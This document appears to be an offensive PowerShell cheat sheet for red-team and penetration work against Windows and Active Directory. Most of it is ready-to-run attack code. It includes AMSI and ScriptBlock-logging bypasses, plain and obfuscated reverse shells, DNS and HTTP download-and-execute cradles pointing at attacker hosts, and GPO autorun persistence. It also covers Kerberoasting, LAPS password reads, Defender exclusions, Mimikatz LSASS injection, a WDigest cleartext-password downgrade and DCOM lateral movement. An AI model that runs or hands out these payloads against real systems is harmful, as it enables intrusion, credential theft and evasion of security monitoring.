- Ping Sweep - `1..254 | % {"192.168.1.$($_): $(Test-Connection -count 1 -comp 192.168.1.$($_) -quiet)"}` - Get ACLs of object (such as files and directories) - `Get-Acl -Path C:\\ | Format-List` - Mount remote share - `New-PSDrive -name cthulhufhtagn -PSProvider "FileSystem" -Root "\\\cthulhufhtagn"` - Searching directories recursively for cleartext credentials in files (GPP passwords for example) - `pushd \\example.com\sysvol` - `gci * -Include *.xml -Recurse -EA SilentlyContinue | select-string cpassword` - `popd` - Find services with unquoted paths - `Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name` - Download and execute payload without IEX or Invoke-WebRequest (a few options) - `powershell . (nslookup -q=txt attacker.domain.com )[-1]` - `powershell . (Resolve-DnsName attacker.domain.com -Type txt).Strings` - AMSI Bypass ```Powershell $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; $ABSD = 'AmsiS'+'canBuffer'; $handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll'); [IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD); ``` ```Powershell [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true) ``` ```Powershell [Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true) ``` - Search for filenames - `gci -Recurse -Force -Path C:\Users -Include "flag" -ErrorAction SilentlyContinue` - Reverse shell one-liner ```PowerShell $cthulhu = New-Object System.Net.Sockets.TCPClient('10.10.14.30',8443);$tntcl = $cthulhu.GetStream();[byte[]]$cult = 0..65535|%{0};while(($i = $tntcl.Read($cult, 0, $cult.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($cult,0, $i);$ex = (iex $d 2>&1 | Out-String );$ex2 = $ex + 'CF ' + (pwd).Path + '> ';$shog = ([text.encoding]::ASCII).GetBytes($ex2);$tntcl.Write($shog,0,$shog.Length);$tntcl.Flush()}; ``` - DNS cradle ```PowerShell $m= (-Join (Resolve-DnsName -Type txt pwn.domain.com).Strings); IEX (([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m)))) ``` - Base64 the above: - `iconv -f ASCII -t UTF-16LE powershellrev.txt | base64 | tr -d "\n"` - Oneliner to send: - `powershell -enc ` - Obfuscated reverse shell - Must use with Socat encrypted shell listed in "Web Resources" section ```PowerShell $gnlSlSXDZ = & ([string]::join('', ( ($(0+0-0-0-0-78+78+78),$(101+101+0-0-0-0-0+0-101),($(119)),$(0+0-0-0-0+45),$($(79)),$(((98))),($(106)),$(101+101+0-0-0-0-0+0-101),$(99+99+0-99),$($(116))) |ForEach-Object{$_<##>}|%{ ( [char][int] $_<#ZdQB8miMexFGoshJ4qKRp1#>)})) |ForEach-Object{<##>$($_)}| % {<#HWEG3yFVCbNOvfYute5#>$_<#o#>}) ([string]::join('', ( ($(83+83+0+0+0-0-83),$(((121))),((115)),$($(116)),$(101+101+0-0-0-0-0+0-101),(($(109))),(46),$(0+0-0-0-0-78+78+78),$(101+101+0-0-0-0-0+0-101),$($(116)),(46),$(83+83+0+0+0-0-83),$(0+0+0+0+111),$(99+99+0-99),(107),$(101+101+0-0-0-0-0+0-101),$($(116)),((115)),(46),(84),($(67)),$(80),($(67)),$(0-0+0-108+108+108),$(0+105),$(101+101+0-0-0-0-0+0-101),(110),$($(116))) |ForEach-Object{$($_)<##>}|%{ ( [char][int] <##>$($_)<##>)})) |ForEach-Object{<#FLut3kIYDMAyO9a2hEH0zQJ4w#>$_<#WI8r#>}| % {<#OjUEN8nkxf#>$($_)})("J5q0aMgvL.xAeq3T8MEcL6sRaXUrOZ.SHUZv12CgW0es7xPkJmtFo.CbYjgiDaIe7GWdPs".replace('CbYjgiDaIe7GWdPs',DDDDDDDD).replace('SHUZv12CgW0es7xPkJmtFo',CCCCCCCC).replace('J5q0aMgvL',AAAAAAAA).replace('xAeq3T8MEcL6sRaXUrOZ',BBBBBBBB),$(EEEEEEEE));$fU4QP = $gnlSlSXDZ.GetStream();$h1okj42 = New-Object System.Net.Security.SslStream($fU4QP,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]));$h1okj42.AuthenticateAsClient('FFFFFFFF', $null, "Tls12", $false);$nf1083fj = new-object System.IO.StreamWriter($h1okj42);$nf1083fj.Write('PS ' + (pwd).Path + '> ');$nf1083fj.flush();[byte[]]$h8r109 = 0..65535|%{0};while(($nf839nf = $h1okj42.Read($h8r109, 0, $h8r109.Length)) -ne 0){$nr81of = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($h8r109,0, $nf839nf);$ngrog49 = (iex $nr81of | Out-String ) 2>&1;$nir1048 = $ngrog49 + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($nir1048);$h1okj42.Write($sendbyte,0,$sendbyte.Length);$h1okj42.Flush()}; ``` - AAAAAAAA == 1st octet of LHOST - BBBBBBBB == 2nd octet of LHOST - CCCCCCCC == 3rd octet of LHOST - DDDDDDDD == 4th octet of LHOST - EEEEEEEE == LPORT - FFFFFFFF == Domain to auth as (doesn't really matter, use something that looks like theirs) - Check for CLM - `$ExecutionContext.SessionState.LanguageMode` - Get NETBIOS Domain Name - `powerpick (gwmi Win32_NTDomain).DomainName` - Runas - `$user = 'MINION\Administrator';` - `$password = '1234test';` - `$secpass = ConvertTo-SecureString $password -AsPlainText -Force;` - `$credential = New-Object System.Management.Automation.PSCredential $user, $secpass;` - `Invoke-Command -Computername localhost -Credential $credential -ScriptBlock { cd C:\Users\Administrator\Desktop; C:\Users\Administrator\Desktop\root.exe }` - Similar: ```PowerShell $pw = ConvertTo-SecureString -AsPlainText -Force -String "Admin1234!" $cred = New-Object -typename System.Management.Automation.PSCredential -argumentlist "contoso\Administrator",$pw $session = New-PSSession -ComputerName dc01 -Credential $cred Invoke-Command -Session $session -ScriptBlock {hostname} Enter-PSSession -Session $session ``` - Give current user DCSync rights - `Add-DomainObjectAcl -Rights DCSync` - Convert command to encoded string: - `$str = "IEX ((new-object net.webclient).downloadstring('http://10.8.0.6:80/http-beacon'))"` - `[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))` - Encode a payload: ```PowerShell if ($args.count -ne 1) { Write-Host "Too many args" } else { "String to encode: " + $Args[0] "Encoded: " $str = $Args[0] $encoded = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str)) write-host $encoded } ``` - Group Policy - Create a new, empty GPO - `New-GPO` - Link a GPO to a site, domain, or OU - `New-GPLink` - Configures a Registry preference item under either HKCU or HKLM - `Set-GPPrefRegistryValue` - Configure registry-based policy settings under HKCU or HKLM - `Set-GPRegistryValue` - Generate GPO report in XML or HTML - `Get-GPOReport` - Example exploitation: - Create a new GPO and link to an OU over which you have permissions - `New-GPO -Name 'Cthulhu GPO' | New-GPLink -Target 'OU=3268,OU=Workstations,DC=cyberbotic,DC=io'` - Write an autorun Registry key to machines in that OU - `Set-GPPrefRegistryValue -Name 'Cthulhu GPO' -Context Computer -Action Create -Key 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -ValueName 'Updater' -Value 'powershell -w 1 -c "iex (new-object net.webclient).downloadstring(''http://10.8.0.6/HTTPGrunt.ps1'')"' -Type ExpandString` - Targetted Kerberoast (possible if we have GenericAll permissions on a user) - `Set-DomainObject -Identity jadams -Set @{serviceprincipalname="fake/NOTHING"}` - `Get-DomainUser -Identity jadams -Properties ServicePrincipalName` - `execute-assembly C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe kerberoast /user:jadams /nowrap` - Targetted ASREPRoasting - `Get-DomainUser -Identity jadams | ConvertFrom-UACValue` - `Set-DomainObject -Identity jadams -XOR @{UserAccountControl=4194304}` - `Get-DomainUser -Identity jadams | ConvertFrom-UACValue` - `execute-assembly C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe asreproast /user:jadams /nowrap` - `powershell Set-DomainObject -Identity jadams -XOR @{UserAccountControl=4194304}` - `powershell Get-DomainUser -Identity jadams | ConvertFrom-UACValue` - Read LAPS admin password - `Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd` - Enumerate exclusions - `Get-MpPreference | select Exclusion*` - `Parse-PolFile .\Registry.pol` - Add exclusion - `Set-MpPreference -ExclusionPath ""` - Find Shares - `Find-DomainShare [-CheckShareAccess]` - Ping an IP range - `1..254 | %{echo "10.0.2.$_"; ping -n 1 10.0.2.$_ | Select-String ttl}` - Port Scan an IP - `1..1024 | %{echo ((New-Object Net.Sockets.TcpClient).Connect("10.0.2.8", $_)) "Open port on - $_"} 2>$null` - LOL Kerberoast - Single SPN: `Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList ""` - Mimikatz in memory w/ LSASS Injection - `Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject"' -Computer dc03.prod.local` - Turn on WDigest to force storing of cleartext passwords in LSASS - `Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name "UseLogonCredential" -Value '1'` - Copy proxy settings from valid user for SYSTEM download cradle ```PowerShell New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null $keys = Get-ChildItem 'HKU:\' ForEach ($key in $keys) {if ($key.Name -like "*S-1-5-21-*") {$start = $key.Name.substring(10);break}} $proxyAddr=(Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy("http://$proxyAddr") $wc = new-object system.net.WebClient $wc.DownloadString("http://192.168.119.120/run2.ps1") ``` - Dynamic DNS - `Invoke-DNSUpdate -DNSType A -DNSName test -DNSData 192.168.100.100 -Verbose` - Lateral Movement - DCOM - `$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate("c:\windows\system32\calc.exe")` - `$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate2("c:\windows\system32\calc.exe")` - `$a=[System.Activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application.1','127.0.0.1'));$a.Document.ActiveView.ExecuteShellCommand('cmd',$null,'/c echo Cthulhu fhtagn! > C:\hi.txt','7')` - Enable RestrictedAdmin - `New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0` - Enumerate forest trusts - `([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRel ationships()` - Enumerate Read-Only Domain Controllers (RODCs) with passwords currently cached. - `(Get-AdComputer -Identity RODC -Properties 'msDS-RevealedList').'msDS-RevealedList'` - Accounts like "krbtgt_12345" are related to the RODC (meant to be compromised) and are therefore useless - Retrieve cached credentials from RODC - `net ads search -k -S ad.local '(samaccountname=RODC$)' managedBy` - Find principals with local admin on RODC - `secretsdump.py @rodc.ad.local -use-vss` - The NTDS will contain all users, but non-cached ones will have a null password shown by the hash "31d6cfe0d16ae931b73c59d7e0c089c0" - Enumerate a user for a fine-grained password policy - `(Get-AdUser -Identity -Properties 'msDS-ResultantPso'). 'msDS-ResultantPso'` - An empty reply means that the default domain-wide policy is used - If non-empty... - `(Get-AdObject -SearchBase 'CN=Password Settings Container, CN=System, DC=ad, DC=local' -LdapFilter 'CN=' -Properties *).'msDS-MinimumPasswordLength'` - Enumerate Service Connection Points (SCPs) - hosted services in the environment - `(Get-AdObject -LdapFilter '(serviceBindingInformation=*)' -Properties *).serviceBindingInformation` - Enumerate implicit SPNs - `(Get-Adobject -SearchBase 'CN=Windows NT, CN=Services, CN=Configuration, DC=ad, DC=local" - LdapFilter 'CN=Directory Service' - Properties *). SPNMappings` - "host=" signifies that when an object has at least one explicit HOST SPN set, it will also implicitly have all of the SPNs contained here - LSASS as a protected process - Enumerate - `Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"` - Bypass - PPLDump - Nanodump - Execute .NET assembly in memory without touching disk, using reflection: 1. `$d = (New-Object http://System.Net.WebClient).DownloadData('http:///Rubeus.exe')` 2. `$a = [System.Reflection.Assembly]::Load($d)` 3. `[Rubeus.Program]::Main("triage".Split())` - Target acquisition - Local DNS cache - `ipconfig /displaydns` - `Get-DNSClientCache` - Query network DNS server for entries - `Get-DnsRecord -RecordType A -ZoneName FQDN -Server ` - Output to a file: `Get-DnsRecord -RecordType A -ZoneName FQDN -Server | % {Add-Content -Value $_ -Path records.txt}` - `Get-CimInstance -Namespace Root\MicrosoftDNS -Query "SELECT * FROM MicrosoftDNS_AType WHERE ContainerName='rlyeh.local'"` - mDNS - Sapito (see References/Repos) - ScriptBlock logging bypass ```PowerShell $GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static') $GroupPolicySettings = $GroupPolicySettingsField.GetValue($null) $GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0 $GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0 iex (New-Object Net.WebClient).downloadstring("https://myserver/mypayload.ps1") ```